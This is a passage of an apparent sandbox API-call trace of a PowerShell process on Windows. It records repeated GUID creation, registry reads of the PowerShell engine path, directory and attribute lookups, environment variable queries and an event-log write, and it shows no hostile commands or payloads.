pguid=0x2bfbeb4*(Data1=0xb1d4b28f, Data2=0x8d19, Data3=0x41c8, Data4=([0]=0x98, [1]=0xa7, [2]=0x5, [3]=0x67, [4]=0xfc, [5]=0xc7, [6]=0xd0, [7]=0x67))) returned 0x0 [0080.157] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xb8244572, Data2=0xa4e5, Data3=0x464b, Data4=([0]=0xaa, [1]=0x34, [2]=0x66, [3]=0x9c, [4]=0xf6, [5]=0x4c, [6]=0xcb, [7]=0x1e))) returned 0x0 [0080.157] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x659957f9, Data2=0x187, Data3=0x4913, Data4=([0]=0x80, [1]=0x2c, [2]=0x34, [3]=0x26, [4]=0x64, [5]=0xc0, [6]=0x7e, [7]=0x4d))) returned 0x0 [0080.157] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xff02aabd, Data2=0xcb4b, Data3=0x4c51, Data4=([0]=0x82, [1]=0xe9, [2]=0x92, [3]=0x16, [4]=0x40, [5]=0x33, [6]=0x45, [7]=0xcd))) returned 0x0 [0080.157] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xc592baef, Data2=0x924d, Data3=0x4638, Data4=([0]=0x85, [1]=0x73, [2]=0x91, [3]=0x59, [4]=0x54, [5]=0xa5, [6]=0xaa, [7]=0x2e))) returned 0x0 [0080.173] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xdcea71bf, Data2=0x16de, Data3=0x4b44, Data4=([0]=0xa8, [1]=0xa2, [2]=0x20, [3]=0xde, [4]=0xeb, [5]=0xf0, [6]=0xeb, [7]=0x50))) returned 0x0 [0080.173] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xbc137b6b, Data2=0xbce, Data3=0x4c36, Data4=([0]=0xbc, [1]=0xf7, [2]=0x83, [3]=0xf7, [4]=0xb5, [5]=0x49, [6]=0x9a, [7]=0xb0))) returned 0x0 [0080.174] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x92ba686d, Data2=0x112a, Data3=0x4078, Data4=([0]=0x82, [1]=0x79, [2]=0x9d, [3]=0xb9, [4]=0xa1, [5]=0x37, [6]=0x3, [7]=0xfb))) returned 0x0 [0080.174] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xb221e342, Data2=0x7766, Data3=0x4705, Data4=([0]=0x86, [1]=0x11, [2]=0xa1, [3]=0x99, [4]=0x35, [5]=0xb6, [6]=0x5, [7]=0x93))) returned 0x0 [0080.174] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x6338ad2e, Data2=0xe47b, Data3=0x4dc1, Data4=([0]=0x91, [1]=0xa2, [2]=0xb2, [3]=0xb, [4]=0x90, [5]=0xd5, [6]=0x79, [7]=0xef))) returned 0x0 [0080.174] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xf2578032, Data2=0x2e16, Data3=0x43a4, Data4=([0]=0x8e, [1]=0xd8, [2]=0xb7, [3]=0x47, [4]=0x50, [5]=0xfe, [6]=0x91, [7]=0xd8))) returned 0x0 [0080.178] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x48246d40, Data2=0x36b1, Data3=0x4fac, Data4=([0]=0x8d, [1]=0x19, [2]=0xc, [3]=0x98, [4]=0xa3, [5]=0x51, [6]=0xb6, [7]=0xbc))) returned 0x0 [0080.178] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xd69f3b3e, Data2=0xfe1c, Data3=0x4e8f, Data4=([0]=0x81, [1]=0x59, [2]=0x3f, [3]=0x70, [4]=0x34, [5]=0xbe, [6]=0x53, [7]=0x4c))) returned 0x0 [0080.178] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xd3c9e992, Data2=0x9649, Data3=0x4262, Data4=([0]=0x90, [1]=0x8e, [2]=0x8e, [3]=0x85, [4]=0x4f, [5]=0x3c, [6]=0xd7, [7]=0x8c))) returned 0x0 [0080.178] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x1db7236d, Data2=0x9008, Data3=0x417b, Data4=([0]=0x8f, [1]=0x54, [2]=0xdd, [3]=0x9f, [4]=0xbf, [5]=0x98, [6]=0x35, [7]=0x66))) returned 0x0 [0080.192] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x61ec5a58, Data2=0xe2ce, Data3=0x4624, Data4=([0]=0xb5, [1]=0x78, [2]=0x55, [3]=0xcf, [4]=0x2b, [5]=0xe0, [6]=0x83, [7]=0xed))) returned 0x0 [0080.193] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x74e95acb, Data2=0x9426, Data3=0x4087, Data4=([0]=0x95, [1]=0x41, [2]=0x17, [3]=0xe7, [4]=0xca, [5]=0x85, [6]=0x85, [7]=0x31))) returned 0x0 [0080.193] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x9874a4ff, Data2=0x64d0, Data3=0x4025, Data4=([0]=0xb3, [1]=0x35, [2]=0xe4, [3]=0xe2, [4]=0x8d, [5]=0x30, [6]=0x10, [7]=0xda))) returned 0x0 [0080.193] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x465a1a1c, Data2=0x3df7, Data3=0x45d5, Data4=([0]=0x81, [1]=0x78, [2]=0x0, [3]=0x72, [4]=0x4b, [5]=0xe1, [6]=0xf9, [7]=0xf5))) returned 0x0 [0080.193] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x3b6d34e, Data2=0xfd35, Data3=0x41d6, Data4=([0]=0x97, [1]=0x20, [2]=0x27, [3]=0xd4, [4]=0x65, [5]=0x78, [6]=0x36, [7]=0xcd))) returned 0x0 [0080.193] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xdf3d895b, Data2=0x4b9e, Data3=0x4e85, Data4=([0]=0xb6, [1]=0x93, [2]=0xce, [3]=0xc8, [4]=0x9b, [5]=0x8, [6]=0x4c, [7]=0xb2))) returned 0x0 [0080.193] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xb993da49, Data2=0xaf60, Data3=0x4aff, Data4=([0]=0xad, [1]=0x34, [2]=0xd9, [3]=0xe5, [4]=0x9c, [5]=0x43, [6]=0x8e, [7]=0x66))) returned 0x0 [0080.193] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x821a071d, Data2=0xfeed, Data3=0x4873, Data4=([0]=0xad, [1]=0x55, [2]=0xb6, [3]=0x4d, [4]=0xec, [5]=0x53, [6]=0xe1, [7]=0xe5))) returned 0x0 [0080.194] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x3c3cf0ab, Data2=0x2dbb, Data3=0x4396, Data4=([0]=0xbb, [1]=0x91, [2]=0xad, [3]=0x44, [4]=0xda, [5]=0xdd, [6]=0x19, [7]=0x57))) returned 0x0 [0080.194] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x8a51eb82, Data2=0xbfdc, Data3=0x4e6a, Data4=([0]=0xbe, [1]=0xb7, [2]=0xc4, [3]=0xa2, [4]=0xf6, [5]=0x1e, [6]=0x17, [7]=0x32))) returned 0x0 [0080.194] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x98947bd8, Data2=0xd202, Data3=0x442d, Data4=([0]=0xb6, [1]=0x3f, [2]=0xf, [3]=0xb7, [4]=0x92, [5]=0xa9, [6]=0x79, [7]=0x78))) returned 0x0 [0080.194] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xd9fe268c, Data2=0x9f0b, Data3=0x426f, Data4=([0]=0xa3, [1]=0x8f, [2]=0x21, [3]=0xf6, [4]=0x71, [5]=0xf8, [6]=0xaf, [7]=0xde))) returned 0x0 [0080.194] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x817cffa5, Data2=0xaa1d, Data3=0x4fc8, Data4=([0]=0x98, [1]=0xd1, [2]=0x7, [3]=0x3b, [4]=0xac, [5]=0x24, [6]=0xf2, [7]=0x7f))) returned 0x0 [0080.194] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xeffc302e, Data2=0x92b0, Data3=0x43d7, Data4=([0]=0x91, [1]=0x87, [2]=0x2d, [3]=0x49, [4]=0x1b, [5]=0xf, [6]=0x20, [7]=0xea))) returned 0x0 [0080.194] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xb8b4ece7, Data2=0x9b51, Data3=0x42e2, Data4=([0]=0x80, [1]=0xcb, [2]=0x33, [3]=0x1e, [4]=0xa8, [5]=0x18, [6]=0x51, [7]=0xe0))) returned 0x0 [0080.194] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x70280ee7, Data2=0x53ea, Data3=0x4687, Data4=([0]=0x81, [1]=0x9d, [2]=0xf6, [3]=0xc1, [4]=0xb7, [5]=0x20, [6]=0xff, [7]=0x4))) returned 0x0 [0080.255] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x21305f69, Data2=0x3269, Data3=0x4d1b, Data4=([0]=0x92, [1]=0xd7, [2]=0xe8, [3]=0x6b, [4]=0xd3, [5]=0xf4, [6]=0xe0, [7]=0x90))) returned 0x0 [0080.256] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x24c391bb, Data2=0x24f9, Data3=0x4667, Data4=([0]=0xb4, [1]=0x58, [2]=0x48, [3]=0xcb, [4]=0xfb, [5]=0xbf, [6]=0x92, [7]=0xf0))) returned 0x0 [0080.256] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x9baded14, Data2=0xf9c0, Data3=0x4284, Data4=([0]=0x80, [1]=0xaa, [2]=0x8d, [3]=0x5d, [4]=0x43, [5]=0x8a, [6]=0x4c, [7]=0x28))) returned 0x0 [0080.497] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xefd06681, Data2=0x8135, Data3=0x4be9, Data4=([0]=0xbe, [1]=0x41, [2]=0x8, [3]=0xd3, [4]=0xc4, [5]=0x19, [6]=0x43, [7]=0x1c))) returned 0x0 [0080.497] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xf9ae231f, Data2=0x17bf, Data3=0x4ca4, Data4=([0]=0xaf, [1]=0x7f, [2]=0x80, [3]=0xa1, [4]=0xf0, [5]=0x33, [6]=0x2e, [7]=0x22))) returned 0x0 [0080.499] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x16bf9974, Data2=0x7e07, Data3=0x46d7, Data4=([0]=0xb4, [1]=0xba, [2]=0xe0, [3]=0x61, [4]=0x13, [5]=0xc5, [6]=0xf0, [7]=0x1))) returned 0x0 [0080.499] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x30dae6ea, Data2=0xa8e9, Data3=0x4529, Data4=([0]=0xa6, [1]=0x19, [2]=0xf4, [3]=0x29, [4]=0x2d, [5]=0x33, [6]=0x4a, [7]=0x8c))) returned 0x0 [0080.499] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xa46d2a34, Data2=0xfd8b, Data3=0x4383, Data4=([0]=0xb3, [1]=0x16, [2]=0xd5, [3]=0x15, [4]=0x15, [5]=0xf7, [6]=0xe, [7]=0xa9))) returned 0x0 [0080.499] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xb3338066, Data2=0xebe6, Data3=0x4a89, Data4=([0]=0xa9, [1]=0x55, [2]=0xa2, [3]=0xc7, [4]=0xe0, [5]=0x75, [6]=0x4, [7]=0x10))) returned 0x0 [0080.499] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x1b2e6d0f, Data2=0xde0, Data3=0x4dd5, Data4=([0]=0xaa, [1]=0xa3, [2]=0x4f, [3]=0x3c, [4]=0xa6, [5]=0xc3, [6]=0x7f, [7]=0x4c))) returned 0x0 [0080.499] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xba0193d3, Data2=0x68ee, Data3=0x4ea7, Data4=([0]=0x80, [1]=0x8a, [2]=0x92, [3]=0x7a, [4]=0xa, [5]=0xe5, [6]=0xe1, [7]=0xe6))) returned 0x0 [0080.499] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xa906caaf, Data2=0x34ab, Data3=0x4837, Data4=([0]=0x81, [1]=0xcf, [2]=0xa5, [3]=0x1d, [4]=0x50, [5]=0x42, [6]=0xab, [7]=0x98))) returned 0x0 [0080.921] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xc1e36e60, Data2=0xf8c8, Data3=0x44d0, Data4=([0]=0x97, [1]=0xf3, [2]=0x36, [3]=0xb8, [4]=0xdb, [5]=0x9f, [6]=0x7b, [7]=0x80))) returned 0x0 [0080.923] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x2d3cc415, Data2=0x9593, Data3=0x45ef, Data4=([0]=0x83, [1]=0x40, [2]=0x44, [3]=0xd1, [4]=0xbc, [5]=0x14, [6]=0x89, [7]=0xe7))) returned 0x0 [0080.924] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xa8913ca2, Data2=0xc8ce, Data3=0x4434, Data4=([0]=0x87, [1]=0xe6, [2]=0xbf, [3]=0x5b, [4]=0x3e, [5]=0x23, [6]=0xd8, [7]=0xdb))) returned 0x0 [0080.924] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x714409ba, Data2=0x6328, Data3=0x474e, Data4=([0]=0xaf, [1]=0x94, [2]=0xad, [3]=0x35, [4]=0x98, [5]=0x45, [6]=0x33, [7]=0x74))) returned 0x0 [0080.924] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xdd5b5703, Data2=0xcf56, Data3=0x4b51, Data4=([0]=0x85, [1]=0x9c, [2]=0x31, [3]=0xa6, [4]=0x1f, [5]=0x3d, [6]=0xb3, [7]=0xe5))) returned 0x0 [0080.924] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xd7af3a65, Data2=0xb6d7, Data3=0x43a3, Data4=([0]=0xbd, [1]=0x43, [2]=0x75, [3]=0x74, [4]=0x32, [5]=0x2b, [6]=0x5d, [7]=0xf3))) returned 0x0 [0080.924] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x8bb80c20, Data2=0x9b3, Data3=0x4b90, Data4=([0]=0x9f, [1]=0xb6, [2]=0x27, [3]=0xb1, [4]=0xe8, [5]=0x78, [6]=0xc, [7]=0x18))) returned 0x0 [0080.924] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x891385d5, Data2=0x17c4, Data3=0x4567, Data4=([0]=0xb8, [1]=0xdd, [2]=0x64, [3]=0xcc, [4]=0x1, [5]=0x7d, [6]=0x8f, [7]=0xcb))) returned 0x0 [0080.924] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xb4fb4260, Data2=0xcf6f, Data3=0x4bfc, Data4=([0]=0xbf, [1]=0x34, [2]=0x4a, [3]=0x8, [4]=0xb, [5]=0x6a, [6]=0xbf, [7]=0x94))) returned 0x0 [0080.924] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x7d63e90d, Data2=0x2fe7, Data3=0x48b5, Data4=([0]=0x9d, [1]=0x48, [2]=0x8, [3]=0x17, [4]=0x16, [5]=0x86, [6]=0xc3, [7]=0xf7))) returned 0x0 [0080.924] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x41dfc36a, Data2=0x6d1f, Data3=0x4994, Data4=([0]=0x8a, [1]=0x16, [2]=0x1a, [3]=0x1d, [4]=0x75, [5]=0x37, [6]=0xe4, [7]=0x1e))) returned 0x0 [0080.931] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x764a0f5f, Data2=0x4161, Data3=0x4709, Data4=([0]=0xb9, [1]=0x72, [2]=0x52, [3]=0xd, [4]=0xf6, [5]=0xc7, [6]=0x59, [7]=0x76))) returned 0x0 [0080.933] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x651d314, Data2=0x916f, Data3=0x4ca3, Data4=([0]=0x86, [1]=0xab, [2]=0x9, [3]=0xf5, [4]=0x87, [5]=0xf8, [6]=0xc9, [7]=0xfb))) returned 0x0 [0080.933] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe008 | out: phkResult=0x2bfe008*=0x768) returned 0x0 [0080.934] RegQueryValueExW (in: hKey=0x768, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe028, lpData=0x0, lpcbData=0x2bfe024*=0x0 | out: lpType=0x2bfe028*=0x1, lpData=0x0, lpcbData=0x2bfe024*=0x56) returned 0x0 [0080.934] RegQueryValueExW (in: hKey=0x768, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe028, lpData=0x51793a0, lpcbData=0x2bfe024*=0x56 | out: lpType=0x2bfe028*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2bfe024*=0x56) returned 0x0 [0080.934] RegCloseKey (hKey=0x768) returned 0x0 [0080.937] CoCreateGuid (in: pguid=0x2bfdfb0 | out: pguid=0x2bfdfb0*(Data1=0x9ec5ee13, Data2=0x59d1, Data3=0x4072, Data4=([0]=0x8b, [1]=0x7c, [2]=0xc7, [3]=0xd2, [4]=0xb5, [5]=0x47, [6]=0x6, [7]=0xbf))) returned 0x0 [0080.937] CoCreateGuid (in: pguid=0x2bfdfb0 | out: pguid=0x2bfdfb0*(Data1=0xca36656d, Data2=0xcadf, Data3=0x4ce6, Data4=([0]=0x89, [1]=0x96, [2]=0xbf, [3]=0x6c, [4]=0x17, [5]=0x37, [6]=0xd7, [7]=0xf3))) returned 0x0 [0080.938] CoCreateGuid (in: pguid=0x2bfdfb0 | out: pguid=0x2bfdfb0*(Data1=0x8738e37f, Data2=0x5bb4, Data3=0x486e, Data4=([0]=0x82, [1]=0x31, [2]=0x30, [3]=0x6b, [4]=0xe9, [5]=0xe9, [6]=0x6e, [7]=0x3b))) returned 0x0 [0080.938] CoCreateGuid (in: pguid=0x2bfdfb0 | out: pguid=0x2bfdfb0*(Data1=0x9cbd7e7b, Data2=0xd8a0, Data3=0x48c1, Data4=([0]=0x8d, [1]=0x90, [2]=0x7a, [3]=0xd2, [4]=0xa2, [5]=0xc2, [6]=0xd0, [7]=0xe8))) returned 0x0 [0080.938] CoCreateGuid (in: pguid=0x2bfdfb0 | out: pguid=0x2bfdfb0*(Data1=0xd6f3291d, Data2=0x191, Data3=0x4776, Data4=([0]=0xb0, [1]=0x14, [2]=0x43, [3]=0x9a, [4]=0xa6, [5]=0x76, [6]=0x90, [7]=0xf2))) returned 0x0 [0080.938] CoCreateGuid (in: pguid=0x2bfdfb0 | out: pguid=0x2bfdfb0*(Data1=0xca6bb2ff, Data2=0x41dd, Data3=0x477b, Data4=([0]=0xb5, [1]=0x3a, [2]=0xf1, [3]=0x13, [4]=0x68, [5]=0x5, [6]=0x3e, [7]=0xfa))) returned 0x0 [0081.176] GetLogicalDrives () returned 0x4 [0081.176] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0081.176] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0081.187] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0081.187] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0081.187] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0081.188] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x323fc20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0081.190] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0081.190] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x321a8c8, nSize=0x104 | out: lpBuffer="݅턠̯INDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\shlwapi.dll") returned 0x0 [0081.191] CoTaskMemFree (pv=0x321a8c8) [0081.191] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0081.191] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x321a8c8, nSize=0x104 | out: lpBuffer="݅턠̯INDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\shlwapi.dll") returned 0x0 [0081.191] CoTaskMemFree (pv=0x321a8c8) [0081.191] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0081.191] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x321a8c8, nSize=0x104 | out: lpBuffer="݅턠̯INDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\shlwapi.dll") returned 0x0 [0081.191] CoTaskMemFree (pv=0x321a8c8) [0081.195] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0081.195] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x321a8c8, nSize=0x104 | out: lpBuffer="݅턠̯INDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\shlwapi.dll") returned 0x0 [0081.195] CoTaskMemFree (pv=0x321a8c8) [0081.209] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0081.214] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x18 [0081.214] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x18, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0081.214] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0081.215] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0081.215] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0081.215] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0081.215] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0081.215] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0081.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x10 [0081.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x10, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0081.215] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0081.215] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0081.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x18 [0081.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x18, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0081.241] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0081.262] ReportEventW (hEventLog=0x7970004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x5136200*="Available", lpRawData=0x5136128) returned 1 [0081.263] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0081.263] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x321a8c8, nSize=0x104 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0081.263] CoTaskMemFree (pv=0x321a8c8) [0081.264] GetCurrentProcessId () returned 0x190 [0081.265] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe760 | out: phkResult=0x2bfe760*=0x780) returned 0x0 [0081.266] RegQueryValueExW (in: hKey=0x780, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe780, lpData=0x0, lpcbData=0x2bfe77c*=0x0 | out: lpType=0x2bfe780*=0x1, lpData=0x0, lpcbData=0x2bfe77c*=0x56) returned 0x0 [0081.266] RegQueryValueExW (in: hKey=0x780, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe780, lpData=0x513d040, lpcbData=0x2bfe77c*=0x56 | out: lpType=0x2bfe780*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2bfe77c*=0x56) returned 0x0 [0081.266] RegCloseKey (hKey=0x780) returned 0x0 [0081.284] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x323fc20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0081.286] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0081.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x18 [0081.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x18, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0081.286] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0081.286] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0081.287] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0081.287] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0081.287] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0081.287] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0081.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x10 [0081.287] 